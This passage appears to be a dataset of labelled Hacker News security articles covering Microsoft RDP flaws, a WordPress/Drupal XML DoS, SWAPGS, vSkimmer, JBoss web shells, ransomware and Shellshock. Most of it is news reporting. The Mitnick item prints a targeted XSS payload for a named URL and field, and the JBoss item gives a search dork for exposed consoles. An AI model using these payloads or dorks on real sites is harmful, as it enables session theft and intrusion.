Discovered by Microsoft's security team itself, all four vulnerabilities, CVE-2019-1181, CVE-2019-1182, CVE-2019-1222, and CVE-2019-1226, can be exploited by unauthenticated, remote attackers to take control of an affected computer system without requiring any user interaction.

Just like BlueKeep RDP flaw, all four newly discovered vulnerabilities are also wormable and could be exploited by potential malware to propagate itself from one vulnerable computer to another automatically.

""An attacker can get code execution at the system level by sending a specially crafted pre-authentication RDP packet to an affected RDS server,"" Microsoft warned.

""The affected versions of Windows are Windows 7 SP1, Windows Server 2008 R2 SP1, Windows Server 2012, Windows 8.1, Windows Server 2012 R2, and all supported versions of Windows 10, including server versions.""

Though the first two vulnerabilities affect all supported versions of the Windows operating system, the second set of flaws (1222 and 1226) only affects Windows 10 and Windows Server Editions.

The new vulnerabilities neither affect Windows XP, Windows Server 2003, and Windows Server 2008 nor affect Remote Desktop Protocol (RDP) itself that Microsoft developed for the Remote Desktop Services.

Instead, the vulnerabilities reside in Remote Desktop Services—formerly known as Terminal Services—could be exploited by unauthenticated, remote attackers by sending specially crafted requests over RDP protocol to a targeted system.

Besides this, Microsoft also says that the company has found ""no evidence that these vulnerabilities were known to any third party,"" or being exploited in the wild.

""It is important that affected systems are patched as quickly as possible because of the elevated risks associated with wormable vulnerabilities like these,"" Microsoft strongly recommended.

If left unpatched, these security vulnerabilities could allow attackers to spread wormable malware in a similar way as the infamous WannaCry and NotPetya malware was spread across the globe in 2017.

Microsoft August 2019 Patch Tuesday Updates

Besides these four critical security flaws, Microsoft has also patched 89 vulnerabilities as part of the company's monthly batch of software security updates for August, 25 of which are rated critical and 64 important in severity.

The August 2019 Patch Tuesday security updates include patches for various supported versions of Windows and other Microsoft products, including Internet Explorer, Edge, Office, ChakraCore, Visual Studio, Online Services, and Active Directory Microsoft Dynamics.

All critical vulnerabilities listed this month impact various versions of Windows 10 operating system and Server editions and mostly reside in Chakra Scripting Engine, with some also reside in Windows Graphics Device Interface (GDI), Word, Outlook, Hyper-V, and VBScript Engine, LNK, and Windows DHCP Server.

Some important-rated vulnerabilities also lead to remote code execution attacks, while the majority of them allow elevation of privilege, denial of service, information disclosure, security bypass, spoofing, tampering, and cross-site scripting attacks.

Users and system administrators are highly recommended to apply the latest security patches as soon as possible to keep cybercriminals and hackers away from taking control of their computers.

For installing the latest security updates, you can head on to Settings → Update & Security → Windows Update → Check for updates on your computer, or you can install the updates manually.

",Vulnerability
Millions of WordPress and Drupal Websites Vulnerable to DoS Attack,https://thehackernews.com/2014/08/millions-of-wordpress-and-drupal.html,"Users running the website on a self-hosted WordPress or on Drupal are strongly recommended to update their websites to the latest version immediately.

A moderately critical vulnerability was discovered in the way Drupal and WordPress implement XMLRPC, which can lead an attacker to disable your website via a method known as Denial of Service (DoS).

VULNERABILITY RESULTS IN DoS ATTACK
The latest update of WordPress 3.9.2 mainly addresses an issue in the PHP's XML processor that could be exploited to trigger a DoS (denial of service) attack. The vulnerability affects all previous versions of WordPress.

The XML vulnerability was first reported by Nir Goldshlager, a security researcher from Salesforce.com's product security team, that impacts both the popular website platforms. The issue was later fixed by Michael Adams and Andrew Nacin of the WordPress security team and David Rothstein of the Drupal security team.

ATTACK MAKES YOUR WEBSITE COMPLETELY INACCESSIBLE
The vulnerability makes use of a well-known cyber attack, XML Quadratic Blowup Attack. When executed, it has the capability to take down the whole website or server almost instantly, with the use of only a single machine.

The XML vulnerability can cause complete CPU and memory exhaustion and the site's database to reach the maximum number of open connections, and as a result, the vulnerable site and server become unavailable for a period of time, hence affecting Availability of your website.

In short, when the vulnerability is exploited, your website and web server can become totally inaccessible.

WORDPRESS AND DRUPAL USED BY MILLIONS OF WEBSITES
The issue is actually serious because WordPress and Drupal is being used by millions of websites. The recent statistics from the World Wide Web Consortium (WC3) says that WordPress alone powers nearly 23% of the web, and over one million websites used by Drupal.

WordPress is a free and open source blogging tool and a content management system (CMS) with more than 30,000 plugins, each of which offers custom functions and features enabling users to tailor their sites to their specific needs, therefore it is easy to setup and use, that's why tens of millions of websites across the world opt it.

HOW EXPLOIT WORKS
As explained earlier, the XML vulnerability makes use of an XML Quadratic Blowup Attack, which is almost similar to a 'Billion Laughs attack' that allows a very small XML document to completely disrupt the services on machine in a matter of seconds.

The XML Quadratic Blowup Attack exploits the use of entity expansion, instead of using nested entities inside an XML document, it replicates one large entity with tens of thousands of characters over and over again.

In this type of attack, a medium-sized XML document of nearly two hundred kilobytes in size could require within the range of hundreds of megabytes to several gigabytes of memory. That if exploited by an attacker, could easily bring down an entire website or web server.
""If an attacker defines the entity ""&x;"" as 55,000 characters long, and refers to that entity 55,000 times inside the ""DoS"" element, the parser ends up with an XML Quadratic Blowup attack payload slightly over 200 KB in size that expands to 2.5 GB when parsed. This expansion is enough to take down the parsing process,"" Nir Goldshlager wrote in his blog.
VIDEO DEMONSTRATION
Goldshlager has also provided a video demonstration as a proof-of-concept to the WordPress Denial of Service attack.
UPDATE NOW
The XML vulnerability is present in WordPress versions 3.5 to 3.9.1 (the latest version) and works on the default installation. The same vulnerability affects Drupal versions 6.x to 7.x (the current version) and also works on the default installation.

Both WordPress and Drupal have released an update today to address this problem and all users should upgrade to the latest version as soon as possible.

WordPress 3.7 introduced automatic updates which allows security patches, such as this one, to get rolled out to users automatically.

",Cyber_Attack
Cross-site scripting (XSS) Vulnerability reported on Paypal,https://thehackernews.com/2012/03/cross-site-scripting-xss-vulnerability.html,"Cross-site scripting (XSS) Vulnerability reported on Paypal

Paypal is affected by an XSS vulnerability where it fails to validate input on URL shown in above image. PayPal fixed the vulnerability shortly after being notified that its publicly posted. XSS, in general is a vulnerability that allows hackers to inject client side script on webpages and can modify how a user sees the webpage

An attacker able to trick a user with a valid Paypal session into clicking a crafted version of the link below (wouldn't be hard, think a link on an eBay auction listing or a phishing e-mail for example) could hijack the user's session and initiate financial transactions on their behalf including money transfers. Alternatively this legitimate URL could be used to redirect the user to a spoofed PayPal web site designed to steal user credentials, which is a fairly common scam except in this case more effective as the user would see an actual PayPal URL to click on.

[Source]
",Vulnerability
Pakistan-Linked Hackers Added New Windows Malware to Its Arsenal,https://thehackernews.com/2021/05/pakistan-linked-hackers-added-new.html,"Cybercriminals with suspected ties to Pakistan continue to rely on social engineering as a crucial component of its operations as part of an evolving espionage campaign against Indian targets, according to new research.
The attacks have been linked to a group called Transparent Tribe, also known as Operation C-Major, APT36, and Mythic Leopard, which has created fraudulent domains mimicking legitimate Indian military and defense organizations, and other fake domains posing as file-sharing sites to host malicious artifacts.
""While military and defense personnel continue to be the group's primary targets, Transparent Tribe is increasingly targeting diplomatic entities, defense contractors, research organizations and conference attendees, indicating that the group is expanding its targeting,"" researchers from Cisco Talos said on Thursday.
These domains are used to deliver maldocs distributing CrimsonRAT, and ObliqueRAT, with the group incorporating new phishing, lures such as resume documents, conference agendas, and defense and diplomatic themes into its operational toolkit. It's worth noting that APT36 was previously linked to a malware campaign targeting organizations in South Asia to deploy ObliqueRAT on Windows systems under the guise of seemingly innocuous images hosted on infected websites.
ObliqueRAT infections also tend to deviate from those involving CrimsonRAT in that the malicious payloads are injected on compromised websites instead of embedding the malware in the documents themselves. In one instance identified by Talos researchers, the adversaries were found to use the Indian Industries Association's legitimate website to host ObliqueRAT malware, before setting up fake websites resembling those of legitimate entities in the Indian subcontinent by making use of an open-source website copier utility called HTTrack.
Another fake domain set up by the threat actor masquerades as an information portal for the 7th Central Pay Commission (7CPC) of India, urging victims to fill out a form and download a personal guide that, when opened, executes the CrimsonRAT upon enabling macros in the downloaded spreadsheet. In a similar vein, a third rogue domain registered by the attackers impersonates an Indian think tank called Center For Land Warfare Studies (CLAWS).
""Transparent Tribe relies heavily on the use of maldocs to spread their Windows implants,"" the researchers said. ""While CrimsonRAT remains the group's staple Windows implant, their development and distribution of ObliqueRAT in early 2020 indicates they are rapidly expanding their Windows malware arsenal.""
In expanding its victimology, switching up its malware arsenal, and designing convincing lures, the threat actor has exhibited a clear willingness to lend its operations a veneer of legitimacy in hopes that doing so would increase the likelihood of success.
""Transparent Tribe's tactics, techniques, and procedures (TTPs) have remained largely unchanged since 2020, but the group continues to implement new lures into its operational toolkit,"" the researchers said. ""The variety of maldoc lures Transparent Tribe employs indicates the group still relies on social engineering as a core component of its operations.""

",Cyber_Attack
New Linux Rootkit Attacks Internet Users,https://thehackernews.com/2012/12/new-linux-rootkit-attacks-internet-users.html,"Security researchers have discovered what appears to be an experimental Linux rootkit designed to infect its highly select victims during a classic drive-by website attack. The malware allows hackers to inject code directly in any infected web page. The new malware, discovered on November 13 of this year, was written especially for servers that run Debian Squeeze and NGINX, on 64 bits.

About Rootkit : Rootkit.Linux.Snakso.a is designed to infect the Linux kernel version 2.6.32-5-amd64 and adds an iframe to all served web pages by the infected Linux server via the nginx proxy. Based on research, the rootkit may have been created by a Russia-based attacker.
The recently discovered malware is very dangerous because it does not infect a specific website. It infects the entire server and this can endanger all websites hosted on that server. Drive-by-downloads expose web surfers to malicious code that attempt to exploit unpatched software vulnerabilities in the web visitor's PC or handheld. Security holes in web browsers, Java and Flash plugins and the underlying operating system are typical targets.

Security researcher Georg Wicherski said that the code does not seem to be a variant of a publicly available rootkit, but a result of ""contract work of an intermediate programmer with no extensive kernel experience"". The malware is also likely to have been customized by the buyer, which introduced critical flaws.

The rootkit looks like a work in progress, and contains enough programming rough edges to mark it out as 'in development'. The malware''s relatively large binary size of 500k, and the inclusion of debug code, is another giveaway that this might be a work in progress.

",Malware
SWAPGS Attack — New Speculative Execution Flaw Affects All Modern Intel CPUs,https://thehackernews.com/2019/08/swapgs-speculative-execution.html,"A new variant of the Spectre (Variant 1) side-channel vulnerability has been discovered that affects all modern Intel CPUs, and probably some AMD processors as well, which leverage speculative execution for high performance, Microsoft and Red Hat warned.

Identified as CVE-2019-1125, the vulnerability could allow unprivileged local attackers to access sensitive information stored in the operating system privileged kernel memory, including passwords, tokens, and encryption keys, that would otherwise be inaccessible.

Speculative execution is a core component of modern microprocessor design that speculatively executes instructions based on assumptions that are considered likely to be true. If the assumptions come out to be valid, the execution continues, otherwise discarded.

Such speculative executions also have side effects that are not restored when the CPU state is unwound, leading to information disclosure, which can then be accessed using side-channel attacks.

Microsoft silently issued patches for the new speculative execution vulnerability in its July 2019 Patch Tuesday security update which was discovered and responsibly disclosed by researchers at security firm Bitdefender.

According to a security advisory released today by Red Hat, the attack relies on speculatively executing unexpected SWAPGS instructions after a branch gets mispredicted.


SWAPGS instruction is a privileged system instruction that swaps the values in the GS register with the MSR values and is only available on devices with x86-64 architecture.

""This is achieved by abusing the fact that SWAPGS instruction can be executed speculatively. An attacker can force arbitrary memory dereferences in kernel, which leaves traces within the data caches. These signals can be picked-up by the attacker to infer the value located at the given kernel address."" researchers at Bitdefender say.

The SWAPGS attack breaks the Kernel Page-Table Isolation (KPTI) provided by modern CPUs and can be used to leak sensitive kernel memory from unprivileged user mode, Intel acknowledged.

""It is possible that these conditional branches in the Linux kernel entry code may mis-speculate into code that will not perform the SWAPGS, resulting in a window of speculative execution during which the wrong GS is used for dependent memory operations,"" RedHat says in its advisory.

According to Bitdefender researchers, the new attack bypasses all known mitigations implemented after the discovery of Spectre and Meltdown vulnerabilities in early 2018 that put practically every computer in the world at risk.

Though the Linux kernel also contains a gadget which may be exploited to target Linux systems in an attack, researchers believe exploiting Linux operating systems could slightly be tougher than Windows computers.

Since the attack can not be launched remotely, it is unlikely to cause mass malware infections, like EternalBlue was used for WannaCry; instead, it can be exploited as part of an extremely targeted attack.

Affected users can address this issue through a software update for their operating systems that would mitigate how the CPU speculatively accesses memory.

Meanwhile, Google has also prepared a patch to fix this vulnerability in its ChromeOS 4.19 with a soon-to-be-released update, describing the flaw as:

""An attacker can train the branch predictor to speculatively skip the swapgs path for an interrupt or exception. If they initialize the GS register to a user-space value, if the swapgs is speculatively skipped, subsequent GS-related percpu accesses in the speculation window will be done with the attacker-controlled GS value. This could cause privileged memory to be accessed and leaked.""

In a statement AMD said:

""Based on external and internal analysis, AMD believes it is not vulnerable to the SWAPGS variant attacks because AMD products are designed not to speculate on the new GS value following a speculative SWAPGS. For the attack that is not a SWAPGS variant, the mitigation is to implement our existing recommendations for Spectre variant 1.""

",Vulnerability
Russian underground vSkimmer Botnet targeting payment world,https://thehackernews.com/2013/03/russian-underground-vskimmer-botnet-hit.html,"A new botnet emerged from underground and is menacing payment world, the cyber threat dubbed vSkimmer come from Russia according revelation of McAfee security firm.

The security expert Chintan Shah wrote on a blog post that during monitoring of Russian underground forum found a discussion about a Trojan for sale that can steal credit card information from Windows PC for financial transactions and credit card payments.


vSkimmer agent is able to detect card readers on the victim's machine and gather all the information from the Windows machines sending it to a remote control server encrypting it (Base64).
The malware collects the following information from the infected machine and sends it to the control server:
Machine GUID from the Registry
Locale info
Username
Hostname
OS version
The vSkimmer malware indicated as the successor of the popular Dexter, a financial malware that targeted Point-of-Sale systems to grab card data as it transmitted during sales flow.

Dexter is responsible for the loss of nearly 80,000 credit card records and data breach of payment card data of Subway restaurants in 2012.

According security researchers at McAfee vSkimemr appeared in the underground forum since February and it could be an ongoing project.

vSkimmer appears more sophisticated of Dexter despite it is easier to use, vSkimmer is an advanced tool to steal credit card data from Windows hosts.

Exactly as its predecessor Dexter, vSkimmer is completely undetectable on the compromised host. vSkimmer waits for a named USB device to be attached to the compromised machine and once detected it the malware dumps the collected data to the removable device.

""vSkimmer can also grab the Track 2 data stored on the magnetic strip of the credit cards. This track stores all the card information including the card number.""

To be precise on Track 2 was stored card number, three-digit CVV code, and expiration date are stored, all necessary to qualify card in payment processes.

On credit card information grabbing the post states:
""VSkimmer maintains the whitelisted process, which it skips while enumerating the running processes on the infected machine.Once vSkimmer finds any running process not in the whitelist, it runs OpenProcess and ReadProcessMemory to read the memory pages of the process and invokes the pattern-matching algorithm to match the regular expression ""?[3-9]{1}[0-9]{12,19}[D=\\u0061][0-9]{10,30}\\??"")"" and extract the card info read by the payment devices. This is done recursively for every process running in the infected machine and not on the whitelist.""

VSkimmer demonstrated the great interest of cyber crime in payments sector institutions have already been attacked in the past by malicious code such as Zeus and SpyEye and this case is just ""another example of how financial fraud is actively evolving and how financial Trojans were developed and passed around in the underground community."" This botnet is particularly interesting because it directly targets card-payment terminals running Windows,"" Shah explained in his post, I found really interesting the fact that the offer of similar malware in the underground is increasing and their model of sale is reaching level of excellence never seen first ... we face difficult times.

",Malware
Two-year-old vulnerability in JBoss Application Servers enables Remote Shell for Hackers,https://thehackernews.com/2013/11/Vulnerability-JBoss-Application-Servers-exploit-code.html,"Cyber security of many organizations being attacked at an extremely high rate this month, well another alarming cyber crime report become public today.

A widely unpatched and two years old critical vulnerability in JBoss Application Server (AS) that enable an attacker to remotely get a shell on a vulnerable web server.
JBoss Application Server is an open-source Java EE-based application server very popular, it was designed by JBoss, now a division of Red Hat. In late 2012, JBoss AS was named as ""wildFly"", since disclosure of the exploit code many products running the affected JBoss Application Server have been impacted, including some security software.

Tens of thousands of enterprise data center servers are vulnerable to this attack, with at least 500 actively compromised, according to the Imperva report. Many systems administrators have yet to properly configure their servers to mitigate the threat, and the number of potential targets has increased over time, making the exploit even more attractive to attackers.

The number of infections has surged since exploit code called pwn.jsp was publicly disclosed i.e. October 4th. pwn.jsp shell isn't the unique exploit available, Imperva's Barry Shteiman confirmed the availability of another more sophisticated shell available to attackers.
""In these cases, the attackers had used the JspSpy web shell which includes a richer User Interface, enabling the attackers to easily browse through the infected files and databases, connect with a remote command and control server and other modern malware capabilities,""
A number of Government and Education related websites have been hacked, exploiting the JBoss Application Server vulnerability, where an attacker can obtain a remote shell access on the target system to inject code into a website hosted on the server or steal files stored on the machine.
""The vulnerability allows an attacker to abuse the management interface of the JBoss AS in order to deploy additional functionality into the web server. Once the attackers deploy that additional functionality, they gain full control over the exploited JBoss infrastructure, and therefore the site powered by that Application Server.""
Imperva researchers demonstrated that JBoss AS is vulnerable to remote command execution via the 'HTTP Invoker' service that provides Remote Method Invocation (RMI) /HTTP access to Enterprise Java Beans (EJB).

The Invoker improperly exposes the management interface, ""Jboss Application Server is vulnerable to remote command execution via the 'HTTP Invoker' service that provides Remote Method Invocation (RMI) /HTTP access to Enterprise Java Beans (EJB)"".

On Sept. 16th, the National Vulnerability Database issued an advisory warning of a critical remote code execution bug affecting HP ProCurve Manager, it's assigned to the flaw the Common Vulnerability Enumeration code CVE-2013-4810 and on October 4th 2013, a security researcher has disclosed the code of an exploit for the JBoss Application Server vulnerability.

As consequence the security community had witnessed a surge in Jboss AS hacking, the malicious traffic originated from the compromised servers was detected by Imperva's honey pots.

In a few weeks an exploit was added to exploit-db that successfully gained shell against a product running JBoss 4.0.5.

Imperva confirmed that the number of web servers running Jboss Application Server exposing management interfaces has tripled since the initial vulnerability research was public disclosed passing from 7,000 to 23,000.

I have just run the following Google Dork retrieving more than 17000 results:
intitle:""JBoss Management Console – Server Information"" ""application server"" inurl:""web-console"" OR inurl:""jmx-console""
It is possible to note that Google reconnaissance enables the attacker to identify also governmental and educational websites, some of them also result infected.
""Many of the deployed web shells utilize the original pwn.jsp shell code that was presented with the original exploit, as can be seen in a blog entry posted by one of the attack's victims. In other cases a more powerful web shell was deployed. In these cases, the attackers had used the JspSpy web shell which includes a richer User Interface, enabling the attackers to easily browse through the infected files and databases, connect with a remote command and control server and other modern malware capabilities.""
The concerning aspect of the story is that once again on a two-year-old vulnerability could be easily exploited to compromise a huge quantity of information, the situation is analogue to the Silverlight flaw that manages users of Netflix, the provider of on-demand Internet streaming media.

",Vulnerability
"University Pays Hackers $20,000 to get back its Ransomware Infected Files",https://thehackernews.com/2016/06/university-ransomware.html,"What's the worst that could happen when a Ransomware malware hits University?

Last month, the IT department of the University from where I have done my graduation called me for helping them get rid of a Ransomware infection that locked down all its student's results just a day before the announcement.

Unfortunately, there was no decrypter available for that specific ransomware sample, but luckily they had the digital backup for the examination results in the form of hundreds of excel sheets.

So, somehow backup helped administrator to re-compile complete result once again into the database, but this delayed the announcement for over 30 days.

However, the situation is not same every time.

Recently, the University of Calgary in Alberta paid a ransom of $20,000 to decrypt their computer systems' files and regain access to its own email system after getting hit by a ransomware infection.

The University fell victim to ransomware last month, when the malware installed itself on computers, encrypted all documents and demanded $20,000 in Bitcoins to recover the data.

Also Read: Ransomware attacks on Hospitals put Patients at Risk

Since the University obviously was not properly backing up the data, the administrators have agreed to pay up the ransom amount, the university announced in a release Tuesday, after a cyber attack that left students and staff unable to access university-issued PCs, email or Skype.
""As part of efforts to maintain all options to address these systems issues, the university has paid a ransom totaling about $20,000 CDN that was demanded as part of this 'ransomware' attack,"" Linda Dalgetty, VP of finance and services at the University said in a release.
The University assured its staff and students that no personal or University data was released to the public and that it is working with Calgary police to investigate the cyber attack that affected more than 100 computers.

The university's IT department is still in the process of assessing and evaluating the decryption keys and is working to recover data and ensure all of the affected systems are operational again.

The University also confirmed the decryption keys provided by the attacker worked successfully. The email service for its students and staff was brought back yesterday, but not on the original University system.

The University did not further comment on how the infection made its way into their systems and networks.

Also Read: Ransomware attacks Shuts Down Electric and Water Utility.

We saw an enormous rise in Ransomware threats, both in numbers and sophistication. You would be surprised to know about the latest version of Cerber ransomware that generates a different sample in every 15 seconds in order to bypass signature-based antivirus software.

One of the best first steps in securing your environment is to deploy automated and isolated backup mechanism, along with an Intrusion detection system (IDS) at the network level as well as host-based IDS on your critical assets.

IDS gives you detailed insight into what exactly is coming across the wire, instead of just relying on signature-based antivirus and anti-malware software.

You can try AlienVault Unified Security Management (USM) that includes an inbuilt IDS with SIEM and real-time threat intelligence to help you quickly detect malware and other threats in your network.

",Cyber_Attack
New Java exploit sells for $5000 on Black market,https://thehackernews.com/2013/01/new-java-exploit-sells-for-5000-on.html,"We continues to recommend users disable the Java program in their Web browsers, because it remains vulnerable to attacks that could result in identity theft and other cyber crimes and less than 24 hours after Oracle Sunday released a security update that addresses two critical zero-day vulnerabilities in Java that are being actively exploited by attackers, an online vulnerability seller began offering a brand-new Java bug for sale.

According to a report, a Java exploits was being advertised for $5,000 a piece in an underground Internet forum and the new zero-day vulnerability was apparently already in at least one attacker's hands.

The thread has since been deleted from the forum indicating a sale has been made, something sure to bring more concern to Oracle.Oracle can't predict the future, and its engineers obviously can't predict what exploits are going to be found in its software.

The most recent hold Java fixed allowed hackers to enter a computer by using compromised websites as the entry-point into Java. Once in the system, they could steal any information, or hook up the computer to a botnet or a string of infected computers that can be used to launch attacks against other computers.

The exploit is valuable because not only is it usable on the most up-to-date version of Java, which could remain vulnerable for weeks, if not months.

",Vulnerability
Chinese Hackers Target Major Southeast Asian Telecom Companies,https://thehackernews.com/2021/08/chinese-hackers-target-major-southeast.html,"Three distinct clusters of malicious activities operating on behalf of Chinese state interests have staged a series of attacks to target networks belonging to at least five major telecommunications companies located in Southeast Asian countries since 2017.
""The goal of the attackers behind these intrusions was to gain and maintain continuous access to telecommunication providers and to facilitate cyber espionage by collecting sensitive information, compromising high-profile business assets such as the billing servers that contain Call Detail Record (CDR) data, as well as key network components such as the Domain Controllers, Web Servers and Microsoft Exchange servers,"" Cybereason's Lior Rochberger, Tom Fakterman, Daniel Frank, and Assaf Dahan revealed in a technical analysis published Tuesday.
The Boston-based cybersecurity firm linked the campaigns, collectively named ""DeadRinger,"" to three different Chinese threat actors, namely Gallium (aka Soft Cell), Naikon APT (aka APT30 or Lotus Panda), and TG-3390 (aka APT27 or Emissary Panda).
The activity surrounding the latter of the three clusters started in 2017, while Gallium-related attacks were first observed in Q4 2020, with the Naikon group jumping on the exploitation bandwagon last in Q4 2020. The three espionage operations are believed to have continued all the way to mid-2021.
Calling the attackers ""highly adaptive,"" the researchers called out their diligent efforts to stay under the radar and maintain persistence on the infected endpoints, while simultaneously shifting tactics and updating their defensive measures to compromise and backdoor unpatched Microsoft Exchange email servers using the ProxyLogon exploits that came to light earlier this March.
""Each phase of the operation demonstrates the attackers' adaptiveness in how they responded to various mitigation efforts, changing infrastructure, toolsets, and techniques while attempting to become more stealthy,"" the researchers noted.
Naikon, on the other hand, was found to leverage a backdoor named ""Nebulae"" as well as a previously undocumented keylogger dubbed ""EnrollLoger"" on selected high-profile assets. It's worth pointing out that Naikon's use of Nebulae first emerged in April 2021 when the adversary was attributed as behind a wide-ranging cyber-espionage campaign targeting military organizations in Southeast Asia.
Regardless of the attack chain, a successful compromise triggered a sequence of steps, enabling the threat actors to perform network reconnaissance, credential theft, lateral movement, and data exfiltration.
The Emissary Panda cluster is the oldest of the three, primarily involving the deployment of a custom .NET-based OWA (Outlook Web Access) backdoor, which is used to pilfer credentials of users logging into Microsoft OWA services, granting the attackers the ability to access the environment stealthily.
Also of note is the overlap among the clusters in terms of the victimology and the use of generic tools like Mimikatz, with the three groups detected in the same target environment, around the same timeframe, and even on the same systems in some instances.
""At this point, there is not enough information to determine with certainty the nature of this overlap — namely, whether these clusters represent the work of three different threat actors working independently, or whether these clusters represent the work of three different teams operating on behalf of a single threat actor,"" the researchers said.
""A second hypothesis is that there are two or more Chinese threat actors with different agendas / tasks that are aware of each other's work and potentially even working in tandem.""

",Malware
Latest iOS 12.1.4 Update Patches 2 Zero-Day and FaceTime Bugs,https://thehackernews.com/2019/02/ios-security-update-facetime.html,"Apple has finally released iOS 12.1.4 software update to patch the terrible Group FaceTime privacy bug that could have allowed an Apple user to call you via the FaceTime video chat service and hear or see you before you even pick up the call without your knowledge.

The Facetime bug (CVE-2019-6223) was discovered by 14-year-old Grant Thompson of Catalina Foothills High School while he was trying to set up a Group FaceTime session with his friends.

Thompson reported the bug to the company a week before it made headlines across the internet, forcing Apple to temporarily disable the group calling feature within FaceTime.

In its advisory published Thursday, Apple described the bug as ""a logic issue existed in the handling of Group FaceTime calls,"" that also impacted the group FaceTime calling feature on Apple's macOS Mojave 10.14.2.

Along with Thompson, Apple has also credited Daven Morris of Arlington, Texas, in its official advisory for reporting this bug.

According to media reports, Apple has confirmed to ""compensate"" the family and help towards the teenager's future education costs as part of its Bug Bounty program, though it is unclear how much the company is going to pay.

Two More In-The-Wild Zero-Day Flaws Discovered

The iOS 12.1.4 update also patches three more security vulnerabilities, two of which were also reportedly being exploited in the wild, confirmed by Google Project Zero researchers, who discovered and reported these vulnerabilities to Apple. The last bug was also related to FaceTime.

CVE-2019-7286: a memory corruption issue that could allow a malicious application to gain elevated privileges on the vulnerable Apple device.
CVE-2019-7287: a memory corruption issue that could allow a malicious application to execute arbitrary code with kernel privileges.
CVE-2019-7288: discovered by the Apple security team, this flaw is another FaceTime issue with Live Photos.

If you haven't yet, you are highly recommended to update your Apple devices with iOS 12.1.4 release, which is available for the iPhone 5S, and later, iPad Air and later, and iPod touch 6th generation.

To run the update on your iPhone, iPad or iPod, just go to Settings→ General → Software Update and click the 'Download and Install' button.

If you are a Mac owner, you should also install the new macOS Mojave 10.14.3 update on your computer that also fixes three of the four vulnerabilities briefed above, including the FaceTime issues.

To update your Mac computer, just go to Apple menu in the top left corner of your computer, select 'System Preferences,' click 'Software Update' and download the new update.

",Vulnerability
25 Million 'NAVER' Accounts Breached using Stolen Data,https://thehackernews.com/2014/03/25-million-naver-accounts-breached.html,"A 31-year-old South Korean has been recently accused by the police for the allegation of infiltrating and hacking the accounts of 25 million users of Naver, one of the popular search portal in South Korea.

On Wednesday, the Asian National Police Agency revealed that the suspect purchased the private information of 25 million users, including names, residential numbers, Internet IDs and passwords from a Korean-Chinese, back in August last year, Korea Herald reported.

The suspect surnamed 'Seo', supposedly used the purchased information to hack into the accounts of Naver users and sent out spam messages and other 'illicit emails' to the account holders. He had made an illegal profit of some 160 million won ($148,000) using this, according to the report.

Also a hacker surnamed 'Hong', has been arrested by the police who was suspected to develop the hacking program that automatically enter users' IDs and passwords, which was apparently used by 'Seo' to sign-in to the Naver users' accounts.

The police have charged three accomplices of Seo without detention and enhancing their investigation to 86 others who are suspected to buy the computer programs made by Hong.

On this issue, a Naver official stressed that Naver was not at fault regarding the incident, rather the personal information of the users are ready to purchase from the black market of the Korea. So, the data are not abused by the internal sources, rather it is very easy for the people having a hand on users' sensitive information.

He added ""the best preventive measure for now would be for users to change their passwords on a regular basis so that even if someone should access their accounts the impact would be minimal.""

He might be right at this point, as earlier this month, 20 Million Credit Cards in South Korea were stolen in the country of 50 million population, which is approx 40% Population of the country who were affected by the Data breach.

Also In 2012, two South Korean hackers were arrested for data from 8.7 million customers in the nation's second-biggest mobile operator.

",Data_Breaches
Open Source Smart Meter Hacking Framework can Hack into the Power Grid,https://thehackernews.com/2012/07/open-source-smart-meter-hacking.html,"A researcher specializing in smart grids has released an open-source tool designed to assess the security of smart meters. Dubbed 'Termineter,' the framework would allow users, such as grid operators and administrators, to test smart meters for vulnerabilities.

It claims will let security researchers and penetration testers verify the security of electric utility smart meters being installed in millions of homes around the country. Termineter uses the serial port connection that interacts with the meter's optical infrared interface to give the user access to the smart meter's inner workings. The user interface is much like the interface used by the Metasploit penetration testing framework. It relies on modules to extend its testing capabilities.

Spencer McIntyre, of the SecureState Research & Innovation Team, will perform the first live public demonstration of the Termineter framework during his presentation, ""How I Learned To Stop Worrying and Love the Smart Meter"" at Security B-Sides Vegas on Wednesday, July 25, 3 pm at The Artisan Boutique Hotel.

The release of the tool is two-fold: on one hand, it will make auditing and flaw detection easier for utility companies but, on the other hand, it might facilitate unauthorized access to the system. By modifying consumption data, a hacker can inflict financial loss on the provider, but will also invalidate data related to demand.

The electricity meters are also a sensitive issue, as they are used for more than taxing and demand estimation: it allows the police to detect unusual spikes in consumption and identify households that illegally farm marijuana.

The Termineter Framework can be downloaded here.

",Vulnerability
Kevin Mitnick's website open to Cross-Site Scripting ( XSS ) vulnerability,https://thehackernews.com/2012/03/kevin-mitnicks-website-open-to-cross.html,"Kevin Mitnick's website open to Cross-Site Scripting ( XSS ) vulnerability

Cross-Site Scripting ( XSS ) vulnerability discovered in official website of Kevin Mitnick (one of the most talented hackers, and the one one most prosecuted by the state. Mitnick's hacker handle was ""Condor"". He became the first hacker to appear on an FBI ""Most Wanted"" poster, for breaking into the Digital Equipment Company computer network, Mitnick has become something of a celebrity in hacker circles due to his Hacking talent) by Fabián Cuchietti.

This is a serious security issue, with potential implications that are only starting to be understood. However, it is critical to realize that this problem does not expose any way to break into the server itself. What it allows is for malicious attackers to potentially take control of the interaction between a user and a website. It is likely that the most serious thing that an attacker can potentially do in this situation is change how a page appears to a particular user.

Vulnerable Link : https://mitnicksecurity.com/workshop_signup.php
Vulnerable Textbox : strEmail is not filtered some html tags in textbox
Method: Post
Example payload: /""><iframe onload=alert(document.cookie)>

",Vulnerability
Malware Exploits SHELLSHOCK Vulnerability to Hack NAS Devices,https://thehackernews.com/2014/12/malware-shellshock-hack.html,"The year is about to end, but serious threats like Shellshock is ""far from over"". Cyber criminals are actively exploiting this critical GNU Bash vulnerability to target those network attached storage devices that are still not patched and ready for exploitation.

Security researchers have unearthed a malicious worm that is designed to plant backdoors on network-attached storage (NAS) systems made by Taiwan-based QNAP and gain full access to the contents of those devices.

The worm is spread among QNAP devices, which run an embedded Linux operating system, by the exploitation of the GNU Bash vulnerability known as ShellShock or Bash, according to security researchers at the Sans Institute.

QNAP vendor released a patch in early October to address the flaw in its Turbo NAS product, but because the patches are not automatic or easy to apply for many users, so a statistically significant portion of systems remain vulnerable and exposed to the Bash bug.

Shellshock vulnerability was among the critical and serious Internet vulnerabilities uncovered this year, as the vulnerability in Bash, aka the GNU Bourne Again Shell, affects Linux and UNIX distributions to a large extent, but also Windows in some cases. The flaw exploits a bug in GNU Bash that gives attackers the ability to run execute shell commands of their choice remotely on vulnerable systems using specifically crafted variables.
